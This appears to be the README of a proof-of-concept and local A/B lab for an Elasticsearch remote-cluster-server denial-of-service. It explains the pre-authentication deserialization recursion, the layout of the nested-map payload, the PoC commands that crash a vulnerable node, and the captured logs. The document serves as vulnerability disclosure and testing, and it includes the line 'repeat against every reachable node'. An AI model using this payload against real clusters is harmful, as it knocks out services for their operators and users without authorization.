
PoC and containerized A/B lab for CVE-2026-115290, an unauthenticated Elasticsearch remote cluster server DoS via unbounded deserialization recursion (CWE-674).
Root cause: Uncontrolled Recursion (CWE-674). The node deserializes attacker-supplied bytes
before it checks the API key: one unauthenticated TCP request to the remote cluster server port is
enough to blow a worker stack with a StackOverflowError and take the node down. Repeat against every
reachable node.
| CVE | CVE-2026-115290 |
| Advisory | Elastic ESA-2026-201 (2026-11-03) |
| Severity | CVSS 3.1 7.5 High, vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| Affected | Elasticsearch 8.10.0 to 8.19.23, 9.0.0 to 9.4.8, 9.5.0 to 9.5.5, with remote_cluster_server.enabled: true |
| Fixed | 8.19.24 / 9.4.9 / 9.5.6 |
| Fix commit | 0b1b229c8c ("Verify API key before decoding cross-cluster info", elastic/elasticsearch #161492) |
| Prereqs | Enterprise / trial license (feature advanced-remote-cluster-security), interface enabled |
CrossClusterAccessAuthenticationService.authenticate() (≤ 8.19.23) decoded the sender-controlled
subject-info header as early as possible so audit events could include the API key id:
// 8.19.23, vulnerable build
public static CrossClusterAccessHeaders readFromContext(final ThreadContext ctx) {
final String credentialsHeader = ctx.getHeader(CROSS_CLUSTER_ACCESS_CREDENTIALS_HEADER_KEY);
parseCredentialsHeader(credentialsHeader).close(); // (1) format-check only
return new CrossClusterAccessHeaders(credentialsHeader,
CrossClusterAccessSubjectInfo.readFromContext(ctx)); // (2) DECODES attacker bytes, pre-auth
}
The decode is pure deserialization with no depth limits:
public static CrossClusterAccessSubjectInfo decode(final String header) {
byte[] bytes = Base64.getDecoder().decode(header);
StreamInput in = StreamInput.wrap(bytes);
TransportVersion version = TransportVersion.readVersion(in); // attacker-chosen
in.setTransportVersion(version);
Authentication authentication = new Authentication(in); // -> readMetadata -> readGenericValue
...
}
StreamInput.readGenericValue() recurses without any depth bound on nested maps (type tag 10).
Around 200k nested single-entry maps are enough to blow the transport thread's stack inside decode().
Fixed (8.19.24): subject info stays encoded until the API key is authenticated, so unauthenticated requests never reach the deserializer:
// 8.19.24, CrossClusterAccessRequestHeaders keeps the header as a String
final String subjectInfoHeader = requiredHeader(ctx, CROSS_CLUSTER_ACCESS_SUBJECT_INFO_HEADER_KEY);
...
// only after successful API-key authentication:
final CrossClusterAccessSubjectInfo subjectInfo = requestHeaders.decodeSubjectInfo().cleanAndValidate();
attacker ──TCP :9443──> remote cluster server port (profile _remote_cluster)
ES transport frame: action "indices:data/read/search" (any registered action)
ThreadContext headers:
_cross_cluster_access_credentials = "ApiKey <base64(id:key)>" (format-valid, key unknown)
_cross_cluster_access_subject_info = base64(vInt TransportVersion + Authentication{ metadata =
{ "poc_nested": {a: {a: {a: ... 200k deep ... }}} } } + roleDescriptorsBytesList[])
InboundHandler.handleRequest -> RequestHandlerRegistry (action exists) ->
ProfileSecuredRequestHandler.messageReceived (profile _remote_cluster) ->
CrossClusterAccessServerTransportFilter.authenticate -> license check -> header presence check ->
CrossClusterAccessAuthenticationService.authenticate -> CrossClusterAccessHeaders.readFromContext ->
CrossClusterAccessSubjectInfo.decode -> StreamInput.readGenericValue (unbounded) -> StackOverflowError
-> netty exceptionCaught -> ExceptionsHelper.maybeDieOnAnotherThread ->
ElasticsearchUncaughtExceptionHandler: "fatal error in thread [...], exiting" -> Runtime.halt(126)
Things that make the attack easy:
TransportVersion.isCompatible);TransportVersion (read with readVInt), so the deserialization
branches can be steered independently of the message header version;ApiKey <base64(id:key)>), the key itself never has to
authenticate because the crash happens before that runs;readGenericValue type tags: 0 string, 10 map (recursive), 0xFF null; strings are
vInt charCount + utf8; ints are 7-bit LEB128 vInts.poc/poc.py PoC client (stdlib-only): check | exploit | dump
lab/run-lab.sh podman lab: vulnerable 8.19.23 (:9200/:9443) + fixed 8.19.24 (:9201/:9444)
lab/es-*/elasticsearch.yml node configs (RCS enabled, TLS off, trial license, security on)
lab/stop-lab.sh
evidence/ captured logs + PoC transcripts (not published)
podman pull docker.elastic.co/elasticsearch/elasticsearch:8.19.23 \
docker.elastic.co/elasticsearch/elasticsearch:8.19.24
./lab/run-lab.sh # both containers capped at --cpus 2 --memory 4g
# 1) unauthenticated handshake probe on the vulnerable node's RCS port
python3 poc/poc.py check --host 127.0.0.1 --port 9443
# 2) kill the vulnerable node
python3 poc/poc.py exploit --host 127.0.0.1 --port 9443
# connection drops, node exits with "fatal error in thread [...], exiting", halt(126)
# 3) A/B: identical payload against the fixed build, node survives and rejects the auth
python3 poc/poc.py exploit --host 127.0.0.1 --port 9444
./lab/stop-lab.sh
TLS deployments: add --tls to any mode.
Unit-level reproduction (optional): the payload alone can be fed to the real decoder:
CrossClusterAccessSubjectInfo.decode(header) -> StackOverflowError # verified against 8.19.23 jars
evidence/, reproduced in this lab)Vulnerable node (8.19.23, es-vuln). One exploit request, unauthenticated:
[*] server closed the connection after 0.40s (closed=True, got 0 bytes)
[+] NODE TERMINATED: remote cluster server port 9443 refuses connections -- unauthenticated DoS reproduced
podman ps -a: es-vuln Exited (126) # Runtime.halt(126) == uncaught StackOverflowError
elasticsearch.log (see evidence/es-vuln-fatal.log):
ERROR "fatal error java.lang.StackOverflowError" ... Netty4MessageInboundHandler.exceptionCaught ->
ExceptionsHelper.maybeDieOnAnotherThread -> elasticsearch-error-rethrower
ERROR "fatal error in thread [elasticsearch-error-rethrower], exiting"
java.lang.StackOverflowError
at StreamInput.readGenericValue(StreamInput.java:859)
at StreamInput.readMap(StreamInput.java:751)
at StreamInput.readMap(StreamInput.java:736)
at StreamInput.readGenericValue(StreamInput.java:872) <- recursion loop, ~4 frames / nesting level
...
Fixed node (8.19.24, es-fixed), identical payload:
[*] response frame: status=0x03 (error response)
[*] response text: "unable to find apikey with id cve-2026-115290"
at CrossClusterAccessAuthenticationService.lambda$tryAuthenticate$3 <- auth ran, decode never did
[!] node is STILL ALIVE after the payload
podman ps -a: es-fixed Up (serving)